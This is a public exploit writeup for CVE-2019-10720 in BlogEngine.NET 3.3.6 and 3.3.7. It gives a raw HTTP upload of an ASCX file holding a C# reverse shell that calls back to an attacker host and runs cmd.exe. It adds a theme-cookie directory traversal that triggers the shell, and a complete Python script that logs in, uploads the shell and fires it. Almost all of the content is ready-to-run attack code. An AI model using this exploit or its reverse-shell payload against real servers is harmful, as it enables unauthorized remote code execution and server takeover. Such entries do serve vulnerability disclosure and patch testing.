BlogEngine.NET 3.3.6 / 3.3.7 Theme Cookie Directory Traversal / Remote Code Execution

`# Exploit Title: Directory Traversal + RCE on BlogEngine.NET  
# Date: 17 Jun 2019  
# Exploit Author: Aaron Bishop  
# Vendor Homepage: https://blogengine.io/  
# Version: v3.3.7  
# Tested on: 3.3.7, 3.3.6  
# CVE : 2019-10720  
  
#1. Description  
#==============  
  
#BlogEngine.NET is vulnerable to a Directory Traversal through the **theme** cookie which triggers a RCE.  
  
#2. Proof of Concept  
#=============  
  
#Using an account that has permissions to Edit Posts, upload a malicious file called `PostView.ascx`:  
  
#~~~  
#POST /api/upload?action=filemgr HTTP/1.1  
#Host: $RHOST  
#User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0  
#Accept: text/plain  
#Accept-Language: en-US,en;q=0.5  
#Accept-Encoding: gzip, deflate  
#Cookie: XXX  
#Connection: close  
#Content-Type: multipart/form-data; boundary=---------------------------12143974373743678091868871063  
#Content-Length: 2085  
  
#-----------------------------12143974373743678091868871063  
#Content-Disposition: form-data; filename="PostView.ascx"  
  
#<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>  
#<%@ Import Namespace="BlogEngine.Core" %>  
  
#<script runat="server">  
#static System.IO.StreamWriter streamWriter;  
  
# protected override void OnLoad(EventArgs e) {  
# base.OnLoad(e);  
  
#using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("$LHOST", 4445)) {  
#using(System.IO.Stream stream = client.GetStream()) {  
#using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {  
#streamWriter = new System.IO.StreamWriter(stream);  
  
#StringBuilder strInput = new StringBuilder();  
  
#System.Diagnostics.Process p = new System.Diagnostics.Process();  
#p.StartInfo.FileName = "cmd.exe";  
#p.StartInfo.CreateNoWindow = true;  
#p.StartInfo.UseShellExecute = false;  
#p.StartInfo.RedirectStandardOutput = true;  
#p.StartInfo.RedirectStandardInput = true;  
#p.StartInfo.RedirectStandardError = true;  
#p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);  
#p.Start();  
#p.BeginOutputReadLine();  
  
#while(true) {  
#strInput.Append(rdr.ReadLine());  
#p.StandardInput.WriteLine(strInput);  
#strInput.Remove(0, strInput.Length);  
# } } } } }  
  
# private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {  
# StringBuilder strOutput = new StringBuilder();  
  
# if (!String.IsNullOrEmpty(outLine.Data)) {  
# try {  
# strOutput.Append(outLine.Data);  
# streamWriter.WriteLine(strOutput);  
# streamWriter.Flush();  
#} catch (Exception err) { }  
# }  
# }  
#</script>  
#<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>  
  
#-----------------------------12143974373743678091868871063--  
#~~~  
  
#Trigger the RCE by setting the **theme** cookie to **../../App_Data/files/2019/06/** and browsing to any page on the application; authentication is not required to trigger the RCE.  
=================================  
  
import argparse  
import io  
import json  
import os  
import re  
import requests  
import sys  
  
"""  
Exploit for CVE-2019-10719  
  
CVE Identified by: Aaron Bishop  
Exploit written by: Aaron Bishop  
  
Upload and trigger a reverse shell  
  
python exploit.py -t 192.168.10.9 -l 192.168.10.10:1337  
  
Open a listener to capture the reverse shell - Metasploit or netcat  
  
nc -nlvp 1337  
listening on [any] 1337 ...  
connect to [192.168.10.10] from (UNKNOWN) [192.168.10.9] 49680  
Microsoft Windows [Version 6.3.9600]  
(c) 2013 Microsoft Corporation. All rights reserved.  
  
"""  
  
urls = {  
"login": "/Account/login.aspx",  
"traversal": "/api/filemanager"  
}  
  
  
def make_request(session, method, target, params={}, data={}, files={}):  
proxies = {  
"http": "127.0.0.1:8080",  
"https": "127.0.0.1:8080"  
}  
if method == 'GET':  
r = requests.Request(method, target, params=params)  
elif method == 'POST':  
if files:  
r = requests.Request(method, target, files=files)  
else:  
r = requests.Request(method, target, data=data)  
prep = session.prepare_request(r)  
resp = session.send(prep, verify=False, proxies=proxies)  
return resp.text  
  
def login(session, host, user, passwd):  
resp = make_request(session, 'GET', host+urls.get('login'))  
login_form = re.findall('<input\s+.*?name="(?P<name>.*?)"\s+.*?(?P<tag>\s+value="(?P<value>.*)")?\s/>', resp)  
login_data = dict([(i[0],i[2]) for i in login_form])  
login_data.update({'ctl00$MainContent$LoginUser$UserName': user})  
login_data.update({'ctl00$MainContent$LoginUser$Password': passwd})  
resp = make_request(session, 'POST', host+urls.get('login'), data=login_data)  
  
def upload_shell(session, target, listener):  
try:  
lhost, lport = listener.split(':')  
except:  
print(target, " is not in the correct HOST:PORT format")  
sys.exit(1)  
  
shell = '''<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>  
<%@ Import Namespace="BlogEngine.Core" %>  
  
<script runat="server">  
static System.IO.StreamWriter streamWriter;  
  
protected override void OnLoad(EventArgs e) {  
base.OnLoad(e);  
  
using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("''' + lhost + '''", ''' + lport + ''')) {  
using(System.IO.Stream stream = client.GetStream()) {  
using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {  
streamWriter = new System.IO.StreamWriter(stream);  
  
StringBuilder strInput = new StringBuilder();  
  
System.Diagnostics.Process p = new System.Diagnostics.Process();  
p.StartInfo.FileName = "cmd.exe";  
p.StartInfo.CreateNoWindow = true;  
p.StartInfo.UseShellExecute = false;  
p.StartInfo.RedirectStandardOutput = true;  
p.StartInfo.RedirectStandardInput = true;  
p.StartInfo.RedirectStandardError = true;  
p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);  
p.Start();  
p.BeginOutputReadLine();  
  
while(true) {  
strInput.Append(rdr.ReadLine());  
p.StandardInput.WriteLine(strInput);  
strInput.Remove(0, strInput.Length);  
}  
}  
}  
}  
}  
  
private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {  
StringBuilder strOutput = new StringBuilder();  
  
if (!String.IsNullOrEmpty(outLine.Data)) {  
try {  
strOutput.Append(outLine.Data);  
streamWriter.WriteLine(strOutput);  
streamWriter.Flush();  
} catch (Exception err) { }  
}  
}  
  
</script>  
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>  
'''  
make_request(session, "POST", target + "/api/upload?action=filemgr", files={"file": ("PostView.ascx", shell, "application/octet-stream")})  
  
def trigger_shell(session, target):  
import datetime  
now = datetime.datetime.now().strftime("%Y/%m/")  
requests.get(target + "/", cookies={"theme": "../../App_Data/files/{}".format(now)})  
  
def main(target, user, passwd, listener):  
with requests.Session() as session:  
login(session, target, user, passwd)  
upload_shell(session, target, listener)  
trigger_shell(session, target)  
  
if __name__ == "__main__":  
parser = argparse.ArgumentParser(description='Exploit CVE-2019-10720 Path traversal + RCE')  
parser.add_argument('-t', '--target', action="store", dest="target", required=True, help='Target host')  
parser.add_argument('-u', '--user', default="admin", action="store", dest="user", help='Account with file upload permissions on blog')  
parser.add_argument('-p', '--passwd', default="admin", action="store", dest="passwd", help='Password for account')  
parser.add_argument('-s', '--ssl', action="store_true", help="Force SSL")  
parser.add_argument('-l', '--listener', action="store", help="Host:Port combination reverse shell should back to - 192.168.10.10:1337")  
args = parser.parse_args()  
  
protocol = "https://" if args.ssl else "http://"  
main(protocol + args.target, args.user, args.passwd, args.listener)  
`